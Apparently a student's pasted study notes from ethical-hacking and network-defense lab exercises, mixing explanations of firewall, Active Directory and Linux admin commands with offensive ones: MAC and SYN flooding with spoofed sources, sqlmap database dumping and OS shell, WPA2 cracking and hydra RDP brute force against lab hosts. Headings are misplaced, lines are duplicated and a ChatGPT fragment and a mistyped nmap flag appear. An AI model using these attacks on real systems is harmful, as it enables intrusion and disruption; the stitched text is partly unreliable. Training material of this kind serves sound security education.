

Lab 1:

Theef is a RAT written in Delphi. It allows remote attackers access to the system via port 9871. Theef is a Windows-based application for both client and server. The Theef server is a Trojan that can be installed on a target computer, and the Theef client is then used to control the Trojan.

Lab 2:

MAC flooding (**macof -i eth0 -n 10**)

-i=interface (ethernet)

-n: specifies the number of packets to be sent (here, 10).

A single system can also be targeted by issuing the command **macof -i eth0 -d [Target IP Address] (-d: specifies the destination IP address)**.

hping3 -d 65538 -S -p 21 --flood (Target IP Address) (here, the target IP address is **10.10.1.16 [Web Server]**) and press **Enter**.

-d: specifies data size; **-S**: sets the SYN flag; **-p**: specifies the destination port; and **--flood**: sends a huge number of packets.

Dos Attack:

In the **Parrot Terminal** window, type **sqlmap -u**

"<http://www.moviescope.com/viewprofile.aspx?id=1>" --cookie="[cookie value that you copied in Step 8]" --dbs and press **Enter**.

In this query, **-u** specifies the target URL (the one noted down in Step 6), **--cookie** specifies the HTTP cookie header value, and **--dbs** enumerates DBMS databases.

Now, we will choose a database and use sqlmap to retrieve the tables in the database. In this lab, we will determine the tables associated with the database **moviescope**.

Type **sqlmap -u "<http://www.moviescope.com/viewprofile.aspx?id=1>" --cookie="[cookie value which you have copied in Step 8]" -D moviescope --tables** and press **Enter**.

In this query, **-D** specifies the DBMS database to enumerate and **--tables** enumerates DBMS database tables.

Now, we will retrieve the content of the column User_Login.

Type `sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value which you have copied in Step 8]" -D moviescope -T User_Login --dump` and press Enter to dump all the User_Login table content.

In the terminal window, type `hping3 -S (Target IP Address) -a (Spoofable IP Address) -p 22 --flood` and press Enter.

Here, the target IP address is **10.10.1.2 [Admin Machine-1]**, and the spoofable IP address is **10.10.1.19 [AD Domain Controller]**.

-S: sets the SYN flag; **-a**: spoofs the IP address; **-p**: specifies the destination port; and **--flood**: sends a huge number of packets.

Now, switch back to the **Parrot Terminal** window. Type `sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value which you have copied in Step 8]" --os-shell` and press Enter.

In this query, **--os-shell** is the prompt for an interactive OS shell.

Social Engineering Toolkit

The command `chmod +x ./setoolkit` is used in Unix-like operating systems to give execute (x) permissions to the file setoolkit located in the current directory (./).

Explanation of the components:

- `chmod`: Command to change the permissions of a file.
- `+x`: Grants execute permission (executable status) for the file.
- `./setoolkit`: Path to the file you want to modify (in this case, it's the setoolkit file in the current directory).

Exercise 8: Crack a WPA2 Network using Aircrack-ng

In the **Parrot Terminal** window, type **aircrack-ng -a2 -b [Target BSSID] -w /home/attacker/Desktop/Wordlist/password.txt '/home/attacker/Desktop/Sample Captures/WPA2crack-01.cap'** and press **Enter**. Here, the BSSID (Basic Service Set Identifier) of the target is **20:E5:2A:E4:38:00**.

In the **Parrot Terminal** window, type **aircrack-ng -a2 -b [Target BSSID] -w /home/attacker/Desktop/Wordlist/password.txt '/home/attacker/Desktop/Sample Captures/WPA2crack-01.cap'** and press **Enter**. Here, the BSSID (Basic Service Set Identifier) of the target is **20:E5:2A:E4:38:00**.

- **-a** is the technique used to crack the handshake, **2**=WPA technique.
- **-b** refers to the BSSID; replace [Target BSSID] with the BSSID of the target router.
- **-w** stands for wordlist; provide the path to a wordlist.

Lab 3: Authentication lab

Click Start icon on the Desktop, right-click Windows PowerShell and navigate to More-->Run as administrator.

If User Account Control pop-up appears, click Yes to continue.

In the PowerShell, type **whoami /user** and press Enter to display the details regarding Security ID (SID) and other additional information of the current user.

In the context of the **whoami /user** command (on Windows systems), the **SID** refers to the **Security Identifier** associated with the user account.

What is a SID?

- A **Security Identifier (SID)** is a unique, immutable identifier used by Windows to identify users, groups, and other security-related entities.
- Each user account or group is assigned a unique SID when it is created. The SID is used internally by Windows, rather than the account's username, to handle permissions and security settings.

Example Output of **whoami /user**:

plaintext

Copy code

User	Name	SID

DOMAIN\UserName

S-1-5-21-3623811015-3361044348-30300820-1013

Components of a SID:

A SID is structured as follows:

- **S:** Indicates it is a SID.
- **1:** The revision level.
- **5:** Identifier Authority (e.g., "5" refers to NT Authority).
- **21:** Subauthority that denotes a unique computer or domain.
- **Other Numbers:** Unique components specific to the user, domain, or machine.

For instance:

- S-1-5-21 is a SID that typically belongs to a domain or local user.
- The last portion, 1013, uniquely identifies the specific user account.

Purpose of a SID:

1. **Permissions and Access Control:** Windows uses the SID to identify users in **Access Control Lists (ACLs)**, which determine who can access files, folders, or resources.
2. **Uniqueness:** Even if you delete a user account and recreate it with the same name, the new account will have a different SID, ensuring uniqueness.

To summarize, the SID shown in `whoami /user` is the unique identifier tied to the account currently logged in and is a key part of Windows security architecture.

The `Get-ADUser -Identity Administrator -Properties *` command in PowerShell is used to retrieve detailed information about the specified Active Directory (AD) user, in this case, the user "Administrator". By specifying `-Properties *`, it tells PowerShell to retrieve all available attributes of the user account, such as their full name, email address, group memberships, last logon time, and other properties stored in Active Directory. This is helpful for administrators who need a comprehensive view of a user's attributes for management or auditing purposes.

The PowerShell command `Get-ADComputer -Filter * | Out-File C:\useraccounts.txt` is used to retrieve information about all computers in an Active Directory environment and save the results to a file. Specifically, `Get-ADComputer -Filter *` fetches all computer objects from Active Directory, and the `Out-File`

C:\useraccounts.txt part redirects the output to a text file located at C:\useraccounts.txt. This file will contain a list of computer objects, including their attributes, and can be used for record-keeping or further analysis.

The command `gpresult /H C:\passwords-policy-settings.html` is used in Windows to generate a report of the Group Policy settings that are currently applied to the system. Specifically:

- `gpresult` is the command to generate a Group Policy Results Report.
- `/H` specifies that the output should be in **HTML** format.
- `C:\passwords-policy-settings.html` specifies the path and name of the file where the report will be saved (in this case, on the C:\ drive with the filename `passwords-policy-settings.html`).

This report will provide detailed information about applied Group Policies, including security settings related to password policies (e.g., password complexity requirements, expiration rules, and more), making it useful for administrators to check password policy configurations.

1.

In the terminal window, type `usermod -aG admin testuser01` and press **Enter** to add user **testuser01** to the **admin** group.

`usermod` command is used to modify the user object in order to add a user to the group.

The command `usermod -aG admin testuser01` is used on Linux-based systems to modify a user account. Here's a breakdown of the command:

- `usermod`: The command to modify a user account.
- `-aG`: This option adds the user to one or more supplementary groups without removing them from others. `-a` appends the user to the group(s), and `-G` specifies the group(s).
- `admin`: The name of the group to which the user is being added. In this case, it's the "admin" group, which often gives the user administrative privileges.
- `testuser01`: The username of the account being modified.

Purpose:

This command adds the user `testuser01` to the `admin` group, granting them administrative privileges associated with that group without removing them from any other groups they may belong to. Typically, members of the `admin` group have elevated privileges like `sudo` access.

The command `touch testdirectory/SecProjects/networkreport.txt` is used in Linux or Unix-based systems to create a new, empty file or update the timestamp of an existing file. Here's a breakdown:

- `touch`: The command to create a new empty file if it does not exist or update the access and modification timestamps of the file if it already exists.
- `testdirectory/SecProjects/`: This specifies the path where the file should be created. It refers to the `SecProjects` directory inside the `testdirectory` directory.
- `networkreport.txt`: The name of the file that is being created or modified.

Purpose:

This command creates a new empty file named `networkreport.txt` in the `SecProjects` directory inside the `testdirectory` directory. If the file already exists, it updates the last modified timestamp without altering the file's content.

The command `chown -R testuser01:admin testdirectory/SecProjects` is used in Linux or Unix-based systems to change the ownership of files and directories. Here's a breakdown:

- `chown`: The command used to change the ownership of a file or directory.
- `-R`: This option stands for "recursive", meaning the command will apply to the specified directory and all its contents, including subdirectories and files.
- `testuser01:admin`: This specifies the new owner and group for the files. `testuser01` is the new owner of the files and directories, and `admin` is the group that will own the files.
- `testdirectory/SecProjects`: This is the path to the directory whose ownership is being changed. In this case, it refers to the `SecProjects` directory inside the `testdirectory` directory.

Purpose:

This command changes the ownership of the SecProjects directory and all of its contents to the user testuser01 and the group admin, which may grant the user and group appropriate access based on system permissions.

Lab 5 Group , password and audit policy

The **Administrator: Windows PowerShell** window appears, type **tasklist /SVC /FI "STATUS eq RUNNING" > C:\running_processes.txt** and press **Enter**. This command fetches a list of processes running in the system and writes the output to a file (**running_processes.txt**) saved in **C:** drive.

The provided command uses the **tasklist** utility in Windows to list all currently running processes and their associated services. Here's a breakdown of the command:

1. **tasklist /SVC**
2. Lists all the processes along with the services hosted by each process.
3. **/FI "STATUS eq RUNNING"**

Filters the output to include only processes with the status "RUNNING."

4. **> C:\running_processes.txt**

Redirects the filtered output to a file named **running_processes.txt** in the **C:** directory.

NTFS (New Technology File System) is the default file system for Windows, designed for high reliability, scalability, and security. It supports large file sizes, robust error handling through journaling, file-level encryption (EFS), and detailed access control via ACLs. NTFS offers advanced features like compression, disk quotas, and sparse file support while maintaining excellent performance. Its self-healing capabilities ensure minor file system errors are automatically corrected. However, while ideal for modern storage needs, it requires additional drivers for full compatibility with non-Windows systems.

```
get-acl C:\ConfidentialData\Info_Sec.txt | format-list | out-file C:\Info_SecPermissions.txt  
2/2
```

ChatGPT said:

ChatGPT

This PowerShell command retrieves the Access Control List (ACL) for the file `Info_Sec.txt` located in the `C:\ConfidentialData` directory, formats the output as a list for easier readability, and saves it to a file called `Info_SecPermissions.txt` in the `C:\` directory.

Command Breakdown

1. **Get-Acl C:\ConfidentialData\Info_Sec.txt**: Retrieves the ACL (permissions, owners, and security information) for the specified file.
2. **| Format-List**: Pipes the ACL output into the `Format-List` cmdlet to display the details as a formatted list.
3. **| Out-File C:\Info_SecPermissions.txt**: Pipes the formatted list to the `Out-File` cmdlet, saving it to the specified text file.

Lab 7

Exercise 1: Implement Host-based Firewall Protection with iptables

iptables is a command-line firewall utility that uses policy chains to allow or block traffic.

iptables is a standard firewall included in most Linux distributions

Command: `iptables -A OUTPUT -o eth0 -m owner --uid-owner 1000 -j DROP`

The command you've provided is an `iptables` command used in Linux to manage the system's firewall rules. Let's break down each part of the command:

- **iptables**: This is the command-line utility for configuring the Linux kernel firewall. It allows you to set up, maintain, and inspect the tables of IP packet filter rules.
- **-A OUTPUT**: This option specifies that a rule is being added (`-A`) to the `OUTPUT` chain. The `OUTPUT` chain is used for packets that are being sent out from the system.
- **-o eth0**: This specifies the outgoing network interface. `eth0` refers to the first Ethernet interface on the system. If you have multiple network interfaces, they might be named `eth1`, `eth2`, etc. The rule will only apply to packets going out through this specific interface.

- **-m owner --uid-owner 1000**: The **-m owner** module allows you to match packets based on the owner of the socket. The **--uid-owner 1000** option specifies that the rule should match packets created by a process owned by the user with UID 1000. In most Linux distributions, the first non-system user is assigned the UID 1000.
- **-j DROP**: This specifies the target action for matching packets. The **-j** (jump) option specifies what to do with the packets that match the rule. **DROP** means to silently drop the packets without sending any response to the sender.

What the Command Does

This command adds a firewall rule to the **OUTPUT** chain, targeting the outgoing interface **eth0**. It drops all outgoing packets from processes owned by the user with UID 1000. Essentially, it prevents the user with UID 1000 from sending any network traffic through **eth0**. This can be used for network access control, such as restricting certain users from accessing the network.

iptables -t filter --delete OUTPUT 1

The command **iptables -t filter --delete OUTPUT 1** is used to delete a specific rule from the **OUTPUT** chain in the **filter** table of the **iptables** firewall. Here's a breakdown of the command:

- **iptables**: The command-line utility for configuring the Linux kernel firewall.
- **-t filter**: Specifies the table to operate on. In this case, it is the **filter** table, which is the default table used for packet filtering.
- **--delete or -D**: Specifies that a rule should be deleted.
- **OUTPUT**: Specifies the chain from which the rule will be deleted. The **OUTPUT** chain is used for packets that are being sent out from the system.
- **1**: The number indicates the position of the rule in the chain. In this case, the first rule (index 1) in the **OUTPUT** chain will be deleted.

What the Command Does

This command removes the first rule in the **OUTPUT** chain of the **filter** table. The numbering starts from 1, so the command targets the rule that is at the first position in the list of rules.

sudo ufw allow proto udp from 10.10.1.16 to 10.10.1.79 port 1514

The command `sudo ufw allow proto udp from 10.10.1.16 to 10.10.1.79 port 1514` is used to configure the Uncomplicated Firewall (UFW) on a Linux system. Here's a breakdown of what this command does:

- **sudo**: Executes the command with superuser (root) privileges, necessary for modifying firewall rules.
- **ufw**: Stands for Uncomplicated Firewall, a front-end for managing firewall rules in Linux, typically used to simplify the management of firewall rules.
- **allow**: Adds a rule to permit traffic that matches the specified criteria.
- **proto udp**: Specifies that the rule applies to UDP (User Datagram Protocol) traffic.
- **from 10.10.1.16**: Specifies the source IP address from which the UDP traffic is allowed.
- **to 10.10.1.79**: Specifies the destination IP address to which the UDP traffic is allowed.
- **port 1514**: Specifies that the rule applies to traffic destined for port 1514.

Summary

This command allows incoming UDP traffic from the IP address `10.10.1.16` to the IP address `10.10.1.79` on port 1514. This is often used to permit specific types of network traffic, such as log forwarding, monitoring, or custom application traffic that uses UDP on that port.

Example Usage

Here's an example of how you might use this command in practice:

1. **Log Forwarding**: If you have a log forwarding service running on `10.10.1.79` that listens on port 1514 for logs sent from `10.10.1.16`, this rule will ensure that those logs can be transmitted through the firewall.
2. **Monitoring Tools**: Some network monitoring tools or applications use UDP on specific ports to communicate between systems. This rule would allow that specific communication.

Checking the Rule

After running the command, you can check the current UFW rules to ensure it has been added correctly:

```
bash
```

Copy code

```
sudo ufw status
```

Open terminal in root privileges using **sudo su** command and type **/var/ossec/bin/ossec-control restart**, press **Enter**.

To check whether the agent is active, type **/var/ossec/bin/agent_control -l** and press **Enter**. You will see the **WebServer** agent that we added as Active.

This will list all the currently active firewall rules, including the one you just added.

hydra -L 'wrd.txt' -P 'pwd.txt' rdp://10.10.1.16

The command `hydra -L 'wrd.txt' -P 'pwd.txt' rdp://10.10.1.16` is used to perform a password brute force attack on a Remote Desktop Protocol (RDP) service using the hydra tool. Here's a brief explanation of each component of the command:

- **hydra**: This is a popular tool used for performing brute force attacks on various network services. It supports a wide range of protocols and can automate the process of trying many different passwords to gain unauthorized access.
- **-L 'wrd.txt'**: This option specifies the file containing the list of usernames to try. The `wrd.txt` file should contain one username per line.
- **-P 'pwd.txt'**: This option specifies the file containing the list of passwords to try. The `pwd.txt` file should contain one password per line.
- **rdp://10.10.1.16**: This specifies the target service and its address. In this case, `rdp://10.10.1.16` indicates that the target is an RDP service running on the IP address `10.10.1.16`. The RDP protocol is commonly used for remote desktop connections on Windows systems.

Summary

This command uses Hydra to attempt to log into an RDP service running on `10.10.1.16` by trying combinations of usernames from `wrd.txt` and passwords from `pwd.txt`. The tool will try each username-password pair to find a valid combination that grants access.

Important Considerations

3. **Ethical Use:** Brute force attacks can be illegal and unethical if performed without permission. Ensure you have explicit authorization before conducting such tests.
4. **Rate Limiting and Lockouts:** Many services have protections against brute force attacks, such as account lockouts or rate limiting, which can affect the effectiveness of such attacks.
5. **Security Testing:** In a legitimate security testing scenario, such as a penetration test with permission, Hydra can be a valuable tool for assessing the strength of passwords and authentication mechanisms

Lab 10:

Removing the old docker

sudo apt-get remove docker docker-engine docker.io

The command **sh docker-bench-security.sh** runs a shell script (docker-bench-security.sh) that performs a security audit on a Docker installation. This script checks for common security best practices and configurations in Docker environments, such as:

- Verifying if the Docker daemon is configured securely.
- Checking for proper user access and permissions.
- Ensuring containers are running with appropriate security settings.

It's used to assess Docker configurations and ensure compliance with security guidelines. This is part of the **Docker Bench for Security** project, which automates security checks based on the CIS Docker Benchmark.

To use it, you typically need to have the script downloaded and ensure it's executed in a Docker-hosting environment.

nslookup is a network administration command-line utility, generally used for querying the DNS to obtain a domain name or IP address mapping or for any other specific DNS record. This utility is available both as a command-line utility and web application.

In **nslookup**, the command `set type=a` configures the tool to query for **A (Address) records** specifically.

What are A records?

- A records map a domain name to an IPv4 address.
- For example, querying an A record for `example.com` might return `93.184.216.34`.

How does `set type=a` work?

When you issue `set type=a`:

1. You instruct **nslookup** to look only for A records in subsequent queries.
2. Any domain name you query afterward will return its associated IPv4 addresses.

Example

plaintext

Copy code

```
> nslookup
> set type=a
> example.com
Server:  dns.example.com
Address: 192.168.1.1
```

Non-authoritative answer:

```
Name:      example.com
Address: 93.184.216.34
```

Common Use

The `set type=a` command is useful for:

- Verifying that a domain resolves to the correct IPv4 address.
- Troubleshooting DNS configurations or connectivity issues.
- Type **`set type=cname`** and press **Enter**. The CNAME lookup is done directly against the domain's authoritative name server and lists the CNAME records for a domain.
- Type **`certifiedhacker.com`** and press **Enter**.
- This returns the domain's authoritative name server (**`ns1.bluehost.com`**), along with the mail server address (**`dnsadmin.box5331.bluehost.com`**), as shown in the screenshot below.

The authoritative name server stores the records associated with the domain. Therefore, if an attacker can determine the authoritative name server (primary name server) and obtain its associated IP address, he/she might attempt to exploit the server to perform attacks such as DoS, DDoS, URL Redirection, etc. Type exit and press Enter to exit the nslookup interactive mode.

Type **tracert /?** and press **Enter** to show the different options for the command,

The `arp -a` command is used in Windows, Linux, and macOS to display the **ARP (Address Resolution Protocol) table**. This table maps **IP addresses** to their corresponding **MAC addresses** on the local network.

Purpose of ARP

ARP is used to resolve IP addresses to MAC addresses, which are essential for communication at the data link layer in a network.

Output of arp -a

When you run `arp -a`, you typically see a table with columns such as:

1. **Internet Address:** The IP address of a device on the network.
2. **Physical Address:** The corresponding MAC address of the device.
3. **Type:** Indicates how the address was learned:
 - a. **Dynamic:** Discovered automatically via ARP.
 - b. **Static:** Manually entered into the ARP table.

Example Output

plaintext

Copy code

```
Interface: 192.168.1.2 --- 0x14
Internet Address      Physical Address      Type
192.168.1.1           00-14-22-01-23-45    dynamic
192.168.1.3           00-16-17-4A-67-89    dynamic
192.168.1.255         ff-ff-ff-ff-ff-ff    static
```

Key Notes

- **Dynamic entries:** Are added automatically when your system communicates with other devices on the network.
- **Static entries:** Can be added manually using the `arp -s` command (on Windows).

Use Cases

- **Troubleshooting connectivity:** Identify MAC addresses of devices on your network.
- **Diagnosing ARP issues:** Check if the correct MAC addresses are being resolved.
- **Network security:** Detect unauthorized devices or ARP spoofing attacks.

How to Use

Windows

Run `arp -a` in the Command Prompt:

```
cmd
Copy code
arp -a
```

Linux/macOS

Run the command in the terminal:

```
bash
Copy code
arp -a
```

Note: On some systems, you may need elevated permissions (e.g., `sudo arp -a` on Linux/macOS).

40

Type `pathping -n www.certifiedhacker.com` and press **Enter** to view the hops that the packets made before reaching the destination.

The pathping utility provides detailed information about the path characteristics from a specific host to a specific destination in a single picture by taking advantage of the ping and `tracert`/`traceroute` commands.

Now, type `netstat -e` and press **Enter** to show interface statistics.

-e: Displays ethernet statistics (such as bytes and packets sent and received).

`netstat` is a command-line utility used to display both the incoming and outgoing TCP/IP traffic. The current state of the active hosts on the network can be determined using `netstat`.

The **Nmap - Zenmap** GUI appears; in the **Command** field, type **nmap -sn -PR [Target IP Address Range]** (here, the target IP address range is **10.10.1.0/24**) and click **Scan**.

-sn: disables port scan and **-PR**: performs ARP ping scan.

- **ICMP Timestamp and Address Mask Ping Scan**: These techniques are alternatives for the traditional ICMP ECHO ping scan, which are used to determine whether the target host is live specifically when administrators block the ICMP ECHO pings.

Example –

ICMP timestamp ping scan

nmap -sn -PP [target IP address]

ICMP address mask ping scan

nmap -sn -PM [target IP address]

- **TCP SYN Ping Scan**: This technique sends empty TCP SYN packets to the target host, ACK response means that the host is active.

nmap -sn -PS [target IP address]

- **TCP ACK Ping Scan**: This technique sends empty TCP ACK packets to the target host; an RST response means that the host is active.

nmap -sn -PA [target IP address]

- **IP Protocol Ping Scan**: This technique sends different probe packets of different IP protocols to the target host, any response from any probe indicates that a host is active.

nmap -sn -PO [target IP address]

- **IDLE/IPID Header Scan**: A TCP port scan method that can be used to send a spoofed source address to a computer to discover what services are available.

nmap -sl -v [target IP address]

- **SCTP INIT Scan**: An INIT chunk is sent to the target host; an INIT+ACK chunk response implies that the port is open, and an ABORT Chunk response means that the port is closed.

nmap -sY -v [target IP address]

- **SCTP COOKIE ECHO Scan**: A COOKIE ECHO chunk is sent to the target host; no response implies that the port is open and ABORT Chunk response means that the port is closed.

nmap -sZ -v [target IP address]

Lab 19: Incident Response

The command `chmod -R 755 buck-security-master` performs the following action:

Explanation:

1. **chmod:**
2. This is the command used to change file permissions in Linux/Unix systems.
3. **-R (Recursive):**

This option applies the permission changes to the specified directory (**buck-security-master**) and all its subdirectories and files.

4. **755:**

This is the permission setting being applied:

- a. **7 (Owner):** Full permissions (read, write, execute).
- b. **5 (Group):** Read and execute permissions.
- c. **5 (Others):** Read and execute permissions.
5. **buck-security-master:**

The directory and its contents to which the permission changes are applied.

Effect of the Command:

- Sets the directory **buck-security-master** and all files/subdirectories within it to:
 - **Owner:** Can read, write, and execute.
 - **Group and Others:** Can read and execute, but cannot write.

Use Case:

- Typically used to ensure that the files are accessible and executable by others (e.g., for sharing scripts or a web application) while maintaining write privileges only for the owner.